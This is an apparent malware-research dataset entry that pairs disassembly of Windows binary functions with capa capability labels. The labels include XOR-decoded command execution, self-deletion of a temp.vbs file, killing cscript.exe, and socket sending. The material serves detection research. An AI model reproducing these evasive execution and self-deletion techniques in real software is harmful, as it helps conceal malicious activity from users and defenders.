joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000fa20
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x670
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x660], rax
mov rdi, qword [rsp + 0x6c0]
mov r14d, r9d
mov r9, qword [r8 + 0x100]
xor r15d, r15d
shl r9, 4
mov ebx, r15d
add r9, r8
mov qword [rsp + 0x440], rbx
mov ecx, r15d
mov qword [rsp + 0x448], rcx
cmp r8, r9
je 0x14000faca
nop dword [rax]
cmp rbx, 0x40
jae 0x14000faca
mov rax, qword [r8 + 8]
add rbx, rbx
movups xmm0, xmmword [r8]
add r8, 0x10
movq qword [rsp + rbx*8 + 0x48], xmm0
mov dword [rsp + rbx*8 + 0x40], eax
mov rcx, qword [rsp + 0x448]
mov rbx, qword [rsp + 0x440]
add rcx, rax
inc rbx
mov qword [rsp + 0x448], rcx
mov qword [rsp + 0x440], rbx
cmp r8, r9
jne 0x14000fa80
mov rsi, qword [rdx]
movzx ebp, byte [rdx + 8]
cmp rsi, 0xffffffffffffffff
jne 0x14000faf9
mov dword [rsp + 0x30], 0x2719
call fcn.140027570
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
mov rax, r15
jmp 0x14000fbc2
test rcx, rcx
jne 0x14000fb0f
test bpl, 0x10
je 0x14000fb0f
mov dword [rdi], r15d
mov rax, r15
jmp 0x14000fbc2
mov r9d, r14d
mov qword [rsp + 0x20], rdi
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140033030
test eax, eax
jns 0x14000fbc0
test bpl, 1
jne 0x14000faf1
call fcn.140027570
mov rcx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rcx + 8], rax
jne 0x14000fb50
cmp dword [rdi], 0x2733
je 0x14000fb6b
call fcn.140027570
mov rcx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rcx + 8], rax
jne 0x14000faf1
cmp dword [rdi], 0x4d5
jne 0x14000faf1
lea ecx, [rsi + 1]
mov qword [rsp + 0x458], rsi
xor r9d, r9d
mov dword [rsp + 0x450], 1
lea r8, [rsp + 0x450]
mov qword [rsp + 0x20], r15
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
js 0x14000fbe9
mov r9d, r14d
mov dword [rdi], r15d
mov r8, rbx
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140033030
test eax, eax
js 0x14000fb35
mov eax, eax
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.1400897d0
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x670
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140027570
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x30], eax
mov rax, r15
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
jmp 0x14000fbc2
Function at 0x1400127f0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movzx edi, dl
mov rbx, rcx
mov eax, 1
lock xadd dword [0x1400d9758], eax
inc eax
cmp eax, 1
jne 0x14001283f
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x1400d975c], eax
test dil, dil
je 0x140012852
xor eax, eax
lock xadd dword [0x1400d975c], eax
test eax, eax
jne 0x140012876
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400897d0
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], eax
call fcn.140027570
lea rdx, str.winsock
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x20]
call fcn.140024d20
int3
Function at 0x140019760
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x78
movups xmm0, xmmword [0x14009a310]
mov eax, dword [0x14009a330]
xor ecx, ecx
cmp dword [0x1400d0550], 2
movups xmm1, xmmword [0x14009a320]
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x1400198d9
movdqa xmm0, xmmword [str.9999999999999999]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14009b7a0]
movdqa xmm4, xmmword [0x14009b7f0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14009b7c0]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009b7d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009b7d0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x1400197d0
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x24
jge 0x14001991d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x1400198f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x78
ret

Function at 0x1400199c0
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.14001bc80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400220c0
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14002c660
lea rcx, str.taskkill__f__im_cscript.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start__min_cmd.exe__c__powershell__console_::beep_500_300___echo.__echo_Press_any_key_to_exit...__timeout__t__1__nul__exit_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_full_path_to_temp.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001a950
Capabilities:
Execute command
Self delete
Terminate process

Disassembly:
sub rsp, 0x28
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x40]
call fcn.140004c00
mov rcx, rax
call fcn.14000fc10
call fcn.14001bc80
call fcn.1400220c0
call fcn.14002c660
lea rcx, str.taskkill__f__im_cscript.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_full_path_to_temp.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x14001db70
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14001dc43
cmp byte [rcx + 0x71], 0
je 0x14001dc43
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14001dc3f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14001dc04
sub eax, 1
je 0x14001dc08
cmp eax, 2
jne 0x14001dc3f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14001dc36
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14001dc3f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14001dbec
xor al, al
jmp 0x14001dbec
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x60
pop rbx
ret
Function at 0x140021a90
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x70
xor eax, eax
lea rbx, [rcx + 0x28]
test rcx, rcx
mov ecx, dword [0x1400d9750]
cmove rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140021bc5
cmp qword [rax], rbx
je 0x140021acc
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x140021ab8
add rsp, 0x70
pop rbx
ret
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x140021bc5
mov ecx, dword [rbx + 0x50]
test ecx, ecx
je 0x140021b89
cmp ecx, 1
jne 0x140021bc5
xorps xmm0, xmm0
mov dword [rbx + 0x50], 2
lea rdx, [rbx + 0x58]
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x30], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
xorps xmm0, xmm0
lea rax, vtable.asio::multiple_exceptions.0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x58]
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x30]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea r8, [0x1400ca818]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCopyException_void____ptr64__void_const____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x58]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
lea rax, vtable.std::exception.0
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], rax
call sub.VCRUNTIME140.dll___std_exception_destroy
jmp 0x140021bad
xorps xmm0, xmm0
mov dword [rbx + 0x50], 1
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCurrentException_void____ptr64_
lea rdx, [rsp + 0x20]
lea rcx, [rbx + 0x58]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrAssign_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x20]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
add rsp, 0x70
pop rbx
ret
Function at 0x140021bd0
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x78
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x14009a0f0]
mov eax, dword [0x14009a110]
xor ecx, ecx
cmp dword [0x1400d0550], 2
movups xmm1, xmmword [0x14009a100]
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x140021d59
movdqa xmm0, xmmword [str.9999999999999999]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14009b7a0]
movdqa xmm4, xmmword [0x14009b7f0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14009b7c0]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14009b7d0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009b7d0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140021c50
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x24
jge 0x140021d9d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x140021d70
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x78
ret
Function at 0x140022200
Capabilities:
Set socket configuration

Disassembly:
push rbp
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r15d, r15d
mov rdi, r9
mov r14, rdx
mov rbp, rcx
cmp rcx, 0xffffffffffffffff
je 0x140022361
mov qword [rsp + 0x50], rsi
test r8b, r8b
je 0x140022277
movzx eax, byte [rdx]
test al, 8
je 0x140022277
or al, 8
mov dword [rsp + 0x40], r15d
mov byte [rdx], al
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x140022277
call fcn.140027570
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
mov esi, eax
test eax, eax
jne 0x14002228e
mov dword [rdi], r15d
jmp 0x140022321
mov qword [rsp + 0x90], rbx
call fcn.140027570
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
call fcn.140027570
mov rcx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rcx + 8], rax
jne 0x1400222d0
cmp dword [rdi], 0x2733
je 0x1400222eb
call fcn.140027570
mov rdx, qword [rdi + 8]
mov rax, qword [rax + 8]
cmp qword [rdx + 8], rax
jne 0x14002235d
cmp dword [rdi], 0x4d5
jne 0x14002235d
lea r8, [rsp + 0x40]
mov dword [rsp + 0x40], r15d
mov edx, 0x8004667e
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_ioctlsocket]
and byte [r14], 0xfc
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
mov esi, eax
test eax, eax
jne 0x14002233e
mov dword [rdi], r15d
mov rbx, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rbp
ret
call fcn.140027570
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
mov eax, esi
jmp 0x140022319
mov eax, r15d
jmp 0x140022326
Function at 0x1400245d0
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x150
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r9d, eax
mov qword [rsp + 0x20], rbx
lea r8, str.asio_58CCDC44_6264_4842_90C2_F3C545CB8AA7__u__p
mov edx, 0x80
lea rcx, [rsp + 0x40]
call fcn.140037fa0
lea r8, [rsp + 0x40]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rdi, rdi
jne 0x140024643
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400246c2
cmp eax, 0xb7
jne 0x140024658
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [rbx], 0
jne 0x140024691
lea rcx, [rbx + 8]
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x14002468e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x1400246c2
mov byte [rbx], 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400246c2
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400897d0
mov rbx, qword [rsp + 0x168]
add rsp, 0x150
pop rdi
ret
Function at 0x140026f70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x120
mov rdi, rdx
mov rsi, rcx
mov rbp, qword [rdx + 0x10]
mov r8, rdx
mov r15, qword [rdx + 0x18]
cmp r15, 0xf
jbe 0x140026fa5
mov r8, qword [rdx]
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
test rbp, rbp
je 0x140026fd4
movabs r9, 0x100000001b3
movzx eax, byte [r8 + rcx]
xor rdx, rax
imul rdx, r9
inc rcx
cmp rcx, rbp
jb 0x140026fc0
mov rcx, qword [0x1400d96b0]
and rcx, rdx
add rcx, rcx
mov rax, qword [0x1400d9698]
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, qword [0x1400d9688]
je 0x14002703a
mov r14, qword [rax + rcx*8]
nop word [rax + rax]
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140027012
mov rdx, qword [rdx]
mov rcx, rdi
cmp r15, 0xf
jbe 0x14002701e
mov rcx, qword [rdi]
cmp rbp, rax
jne 0x14002702f
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14002703c
cmp rbx, r14
je 0x14002703a
mov rbx, qword [rbx + 8]
jmp 0x140027000
xor ebx, ebx
test rbx, rbx
je 0x14002705b
cmp rbx, qword [0x1400d9688]
je 0x14002705b
lea rdx, [rbx + 0x30]
mov rcx, rsi
call fcn.1400119d0
jmp 0x14002713e
mov rcx, rdi
call fcn.140036a00
test al, al
je 0x140027077
mov rdx, rdi
mov rcx, rsi
call fcn.1400119d0
jmp 0x14002713e
cmp dword [0x1400d01b0], 2
jg 0x140027113
mov edx, 1
lea rcx, [rsp + 0x28]
call fcn.140011920
mov eax, 2
mov dword [rsp + 0x110], eax
mov ecx, dword [0x1400d01b0]
cmp ecx, eax
jg 0x1400270c7
lea rdx, str.Unable_to_interpret_mime_type_for_content_type_
lea rcx, [rsp + 0x28]
call fcn.140005e90
mov eax, dword [rsp + 0x110]
mov ecx, dword [0x1400d01b0]
cmp eax, ecx
jl 0x140027109
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x1400270d9
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x28]
call fcn.1400095a0
mov eax, dword [rsp + 0x110]
mov ecx, dword [0x1400d01b0]
cmp eax, ecx
jl 0x140027109
lea rdx, str.._Defaulting_to_text_plain.
lea rcx, [rsp + 0x28]
call fcn.140005e90
nop
lea rcx, [rsp + 0x28]
call fcn.140016a20
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0
mov r8d, 0xa
lea rdx, str.text_plain
mov rcx, rsi
call fcn.140006680
mov rax, rsi
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x14002bce0
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x50], rax
lea r9, [rsp + 0x44]
xor eax, eax
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x48], 1
lea r8d, [rax + 1]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASend]
call fcn.140027570
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
je 0x14002bd4d
cmp eax, 0x4d2
jne 0x14002bd52
call fcn.140027570
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x68
ret
Function at 0x14002be60
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 8]
mov rbx, rcx
mov r9d, 0xffffffff
mov qword [rsp + 0x28], rax
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lock xadd dword [0x1400d9560], eax
mov rcx, qword [rbx + 8]
test eax, eax
je 0x14002bed9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x40
pop rbx
ret
mov rdx, rcx
xor r8d, r8d
lea rcx, [fcn.14000cb10]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbx + 8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400897d0
add rsp, 0x40
pop rbx
ret

Function at 0x14002bf10
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400d0580]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [rcx + 8]
xor ebp, ebp
mov dword [rsp + 0x50], ebp
xorps xmm0, xmm0
mov qword [rsp + 0x38], 2
xorps xmm1, xmm1
mov rdi, rdx
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp rcx, 0xffffffffffffffff
jne 0x14002bf71
mov esi, 0x2719
mov dword [rsp + 0x20], esi
call fcn.140027570
mov qword [rsp + 0x28], rax
jmp 0x14002c00f
lea r8, [rsp + 0x30]
mov dword [rsp + 0x30], 0x1c
lea rdx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_getsockname]
movsxd rcx, dword [rsp + 0x30]
test eax, eax
jne 0x14002bfe6
lea rax, [0x1400d03d0]
mov qword [rsp + 0x28], rax
cmp rcx, 0x80
ja 0x14002c032
movups xmm0, xmmword [rsp + 0x38]
mov eax, dword [rsp + 0x50]
movsd xmm1, qword [rsp + 0x48]
movups xmmword [rdi], xmm0
movsd qword [rdi + 0x10], xmm1
mov dword [rdi + 0x18], eax
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400897d0
mov rbp, qword [rsp + 0x98]
add rsp, 0x60
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x90], rbx
call fcn.140027570
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov qword [rsp + 0x28], rbx
mov esi, eax
mov rbx, qword [rsp + 0x90]
mov dword [rsp + 0x20], eax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
mov qword [rdi + 8], rbp
mov qword [rdi + 0x10], rbp
mov dword [rdi + 0x18], ebp
mov qword [rdi], 2
test esi, esi
jne 0x14002c05a
jmp 0x14002bfc5
mov dword [rsp + 0x20], 0x2726
call fcn.140027570
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x20]
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call fcn.140024cd0
int3
lea rdx, str.local_endpoint
lea rcx, [rsp + 0x20]
call fcn.140024d20
int3